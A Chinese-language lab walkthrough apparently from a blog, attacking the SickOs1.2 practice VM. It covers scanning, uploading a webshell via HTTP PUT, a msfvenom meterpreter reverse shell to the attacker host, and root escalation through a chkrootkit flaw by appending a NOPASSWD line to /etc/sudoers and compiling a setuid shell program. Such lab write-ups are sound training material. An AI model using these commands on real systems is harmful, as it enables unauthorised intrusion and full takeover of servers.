靶机渗透实战——SickOs1.2

一、实验环境

靶机:SickOs1.2,IP地址暂时未知

测试机:Kali(IP:192.168.232.130)

测试机:物理机win7

二、实验流程

信息收集——主机发现

信息收集——端口扫描

渗透测试

三、实验步骤

(一)信息收集——主机发现

1、查看kaliIP信息

2、查看靶机页面

3、扫描主机(netdiscover)

netdiscover -i eth0 -r 192.168.232.0/24

netdiscover: -i 指定网卡 -r 指定网段

(二)信息收集——端口扫描

1、扫描端口(masscan)

masscan --rate=10000 --ports 0-65535 192.168.232.136

目标主机开放80、22端口

2、详细扫描端口信息(nmap)

nmap -T4 -sV -O -p 22,80 192.168.232.136

22:ssh

80:http

(三)渗透测试

80端口(http服务)

1、访问目标靶机的80端口

192.168.232.136:80

未发现可利用信息

2、网站目录扫描(dirb)

dirb http://192.168.232.136

3、查看扫到的网站目录

3.1> http://192.168.232.136/index.php

3.2> http://192.168.232.136/test/

可以看到该目录下有许多可以查看的php文件,不知道是否可以把文件上传到该目录,但在该页面并没有发现文件的上传点

注:如果该页面支持http的put方法,就可以间接性的上传文件

4. 查看/test/目录支持的方法

对/test/目录OPTIONS一下,查看它支持什么方法,如果支持PUT方法,我们就可以上传文件

也可以用curl -v -X OPTIONS http://192.168.232.136/test/

支持PUT方法可以上传

5. 上传一句话木马,获取webshell

5.1> 上传一句话木马

上传成功

注:如果上传的文件存在,则返回的状态码是200,否则是201;

5.2> 使用中国蚁剑进行连接

 

成功获取webshell

6. 上传文件,获取反弹shell

6.1> 上传文件1.php

将Kali上的php-reverse-shell.php复制到物理机上,重命名为1.php,并修改监听的IP地址和端口;

IP:192.168.232.130

Port:443(注:换成其他高位端口不能监听成功,防火墙过滤掉了)

 

6.2> 上传成功

6.3> 在Kali上监听443端口;再点击上传成功的1.php文件,成功获取到shell

7. 方式2获取shell:Msfvenom生成payload

7.1> 上传一个精心构造的php webshell,使用msfvenom生成payload

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.232.130 LPORT=443 > shell_443.php

7.2> 将shell666上传到靶机的test目录下;

curl -v -H "Expect:" -T shell_443.php "http://192.168.232.136/test/"

在curl的参数中加上一个特定的HTTP Header Expect:,即将Header中Expect的值手动指定为空。

7.3> 在Kali测试机上打开msfconsole,exploit/multi/handler模块,指定IP和端口进行监听,然后放到后台。 

7.4> 使用curl访问上传到靶机上的shell666.php文件后

7.5> 即可触发服务器端反弹TCP的操作, 在msfconsole里就会得到一个meterpreter的shell

7.6> 在meterpreter中用shell命令来得到一个交互式的shell,但是并没有tty,需要用python生成一个bash。 

python -c 'import pty;pty.spawn("/bin/bash")'

获取了普通用户的权限,接下来就是提权

8、提权

8.1> 查看靶机服务器和版本信息

8.2> 扫描版本的漏洞

可以看到chkrootkit存在本地提权漏洞

8.3> 方法一:添加当前用户www-data到sudoers列表中

新建一个文件update

给update文件添加执行权限;

添加当前用户www-data到sudoers列表中;

echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > /tmp/update

8.4> 方法二:创建shell.c文件

在Kali上编写shell.c文件

#include<unistd.h>

void main(void)

{

system("chown root:root /tmp/update");

system("chmod 4755 /tmp/update");

setuid(0);

setgid(0);

execl("/bin/sh","sh",NULL);

}

将shell.c文件上传到靶机上

curl -v -H "Expect:" -T shell.c http://192.168.232.136/test/

四、实验总结

如果某个网站目录下有很多文件可以访问,那是否能上传文件到这里呢,可以猜想是否具有文件上传漏洞;

如果某页面支持http的put方法,就可以间接性的上传文件;

如果高位端口不能监听到信息,可以尝试监听443端口,因为防火墙可能会过滤掉非常用端口的流量;

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值